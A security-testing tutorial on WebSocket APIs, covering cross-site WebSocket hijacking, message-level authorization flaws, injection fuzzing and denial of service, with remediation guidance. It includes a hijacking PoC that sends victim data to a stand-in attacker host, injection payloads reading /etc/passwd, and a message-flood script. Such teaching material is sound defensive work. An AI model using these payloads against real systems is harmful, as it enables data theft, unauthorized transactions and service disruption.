8 min read

API Security
Intermediate
API2 API1

WebSocket API Security

WebSocket APIs use a persistent, full-duplex connection upgraded from HTTP. Unlike REST endpoints, they often lack standard auth headers on every message, have no built-in CSRF protection on the upgrade handshake, and send binary or JSON frames that scanners frequently ignore.

Authorization Required

Only test WebSocket endpoints you own or have explicit written authorization to test. A hijacking PoC or a message flood affects a live connection that other users may share — confirm the scope and the time window before you open one.

WebSocket Blind Spots

Traditional web scanners miss WebSocket traffic. Burp Suite captures it in the WebSocket History tab (Proxy → WebSockets), but only if the upgrade request goes through the proxy. Ensure your browser is fully proxied (including localhost) when testing WebSocket-heavy apps.

Identifying WebSocket Endpoints

WebSocket connections start as HTTP GET requests with an Upgrade: websocket header. Look for them in browser DevTools (Network → WS filter) and Burp's WebSocket History.

wscat — connect and send
# Connect to a WebSocket endpoint from the terminal
wscat -c wss://api.target.com/ws

# With custom headers (auth token)
wscat -c wss://api.target.com/ws   --header "Authorization: Bearer TOKEN"

# Send a message after connecting
> {"action": "subscribe", "channel": "user_updates", "user_id": 1}
Python WebSocket client
# Python: establish a WebSocket connection
import websocket

def on_message(ws, message):
    print(f"Received: {message}")

ws = websocket.WebSocketApp(
    "wss://api.target.com/ws",
    header={"Authorization": "Bearer TOKEN"},
    on_message=on_message,
)
ws.run_forever()

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is analogous to CSRF but for WebSockets. If the upgrade request relies solely on cookies for authentication and does not validate the Origin header, an attacker can hijack the connection from a malicious page.

Check the cookie before you test the handshake: the browser only attaches it to a cross-site WebSocket upgrade when it is set SameSite=None; Secure. A session cookie marked SameSite=Strict or Lax is not sent on this request, so the technique does not apply however the server treats Origin. Cookies with no SameSite attribute fall back to the browser's default, which is now Lax in Chromium — so confirm what is actually sent in the browser's cookie panel and on the wire rather than assuming. The vulnerable combination is a cross-site cookie that really is attached and no Origin allowlist.

Check 1: Origin Header Validation

Send the upgrade request with a forged Origin header via Burp Repeater:

Handshake with a foreign Origin
GET /ws HTTP/1.1
Host: api.target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com
Cookie: session=VICTIM_SESSION

# If the server accepts this → CSWSH vulnerable

CSWSH Proof of Concept

Cross-site WebSocket hijacking page
<!-- Attacker's page: steals data over WebSocket using victim's cookies -->
<script>
  const ws = new WebSocket('wss://api.target.com/ws');
  ws.onopen = () => {
    ws.send(JSON.stringify({ action: 'get_profile' }));
  };
  ws.onmessage = (event) => {
    // Exfiltrate to attacker server
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
  };
</script>

Authentication Testing

Open two connections to the same endpoint: one authenticated as a low-privileged account, one with no credentials at all. Keep both open side by side and send the same message on each — a message that succeeds on the unauthenticated connection is the finding, not the fact that the socket opened. Burp's WebSocket history lets you replay either without redoing the handshake.

Authentication on the Upgrade vs. Messages

Many apps authenticate the upgrade request but not individual messages. After a legitimate connection, try sending messages with manipulated user_id or session fields.

Another user's objects over the socket
# Authenticated upgrade → then send message as different user
wscat -c wss://api.target.com/ws --header "Authorization: Bearer YOUR_TOKEN"

# Once connected, send message targeting another user's resource:
> {"action": "get_orders", "user_id": 2}
> {"action": "transfer_funds", "from": 2, "to": 999, "amount": 1000}

No Authentication on Upgrade

Test if the upgrade request can be made without credentials:

Upgrade without credentials
# Connect without auth header or cookies
wscat -c wss://api.target.com/ws

# If connection succeeds, try sending messages:
> {"action": "list_users"}
> {"action": "get_admin_data"}

Message Injection & Fuzzing

WebSocket messages process input just like REST parameters — test for injection, authorization flaws, and unexpected message types.

Message Injection in Burp

In Burp Proxy → WebSockets history, right-click any message → Send to Repeater. Modify fields and resend.

Message payload mutations
# Original message:
{"action": "get_user", "id": 42}

# Injection attempts:
{"action": "get_user", "id": "42 OR 1=1"}
{"action": "get_user", "id": {"$gt": 0}}
{"action": "get_user", "id": "../../etc/passwd"}
{"action": "admin_panel"}
{"action": "get_user", "id": 1, "role": "admin"}

Automated Fuzzing

Python fuzzer
# Client library used by the fuzzer below
pip3 install websocket-client

# Simple Python fuzzer
import websocket
import json

payloads = ["' OR 1=1--", "<script>alert(1)</script>", "{{7*7}}", "../../../etc/passwd"]

ws = websocket.create_connection("wss://api.target.com/ws",
    header=["Authorization: Bearer TOKEN"])

for p in payloads:
    msg = json.dumps({"action": "get_user", "id": p})
    ws.send(msg)
    result = ws.recv()
    print(f"Payload: {p}
Response: {result}
")

Denial of Service

This is the one test on the page that degrades the service for other people, so scope it first: a single connection from one test account, not a fleet of parallel clients, and explicit approval before you touch anything shared. The question is whether one client can make the server allocate disproportionately — not whether the service can be taken down.

Success looks like per-connection memory or the connection count climbing with no limit enforced, or the service refusing new handshakes while yours is still open. Tell the two failure modes apart before you report either: connection exhaustion shows up as refused handshakes and errors at the load balancer while established sockets stay healthy; CPU exhaustion shows up as rising latency and event-loop lag for every client, including yours, with the connection count flat. If neither moves, message size or fan-out is bounded — that is a pass, and worth recording as one.

Message flood
# Flood with large messages on a single connection — this stresses
# memory and the event loop, not the connection count
python3 -c "
import websocket, json

ws = websocket.create_connection('wss://api.target.com/ws',
    header=['Authorization: Bearer TOKEN'])

# Send 10,000 rapid messages
for i in range(10000):
    ws.send(json.dumps({'action': 'ping', 'data': 'A' * 65535}))
"

Evidence Collection

For a WebSocket finding, capture:

The handshake: The upgrade request as sent — Origin, Cookie or token, subprotocol, and the 101 response — so the reader can see which origin was accepted.

Frames, both directions: The Burp WebSocket history for the session: opcode, direction and payload of the frames that demonstrate the issue, not a video of the result.

The re-authorization gap: For auth findings: the same socket still accepting messages after logout, expiry or a privilege change, with the timestamp of the change next to the accepted frame.

False Positive Identification

  • A 101 from a non-browser client: Any script can set Origin to whatever it likes, so an accepted handshake from wscat proves nothing about CSWSH. The finding needs a real browser page on an attacker-controlled origin completing the upgrade with the victim cookie attached.
  • A socket that closed on its own: Connections dropping after a minute of silence are usually idle timeouts or a load-balancer limit. Send traffic across the interval, and repeat without your flood, before calling it a denial of service.

Testing Checklist

Handshake and session

  • ☐ Upgrade with no Origin, a null Origin and an attacker origin; record the status for each.
  • ☐ Log out, rotate the token, and change role mid-stream — then replay frames on the live socket.

Messages and capacity

  • ☐ Fuzz every message field with wrong types, oversized payloads and replayed sequence numbers.
  • ☐ Measure max frame size and fan-out on one connection, then repeat across many connections.

Remediation & Defense

Handshake and origin

  • • Validate the Origin header on the upgrade against an allowlist, and use a CSRF token as a query parameter on the upgrade URL — custom headers cannot be set by new WebSocket().
  • • Require TLS (wss://) for every WebSocket connection in production.

Per-message controls

  • • Authenticate and authorize every message, not just the handshake: include a session token in each frame and re-check it after expiry, logout or a role change.
  • • Rate limit message frequency and size per connection and per identity, and validate every message field server-side as untrusted input.

WebSocket Security Practice

Practice WebSocket vulnerability exploitation on deliberately vulnerable applications.

PortSwigger — WebSocket Labs PortSwigger medium
CSWSHMessage manipulationAuthentication bypass
OWASP WebGoat — WebSocket Challenges Custom Lab medium
Origin bypassInjection via messagesAuth testing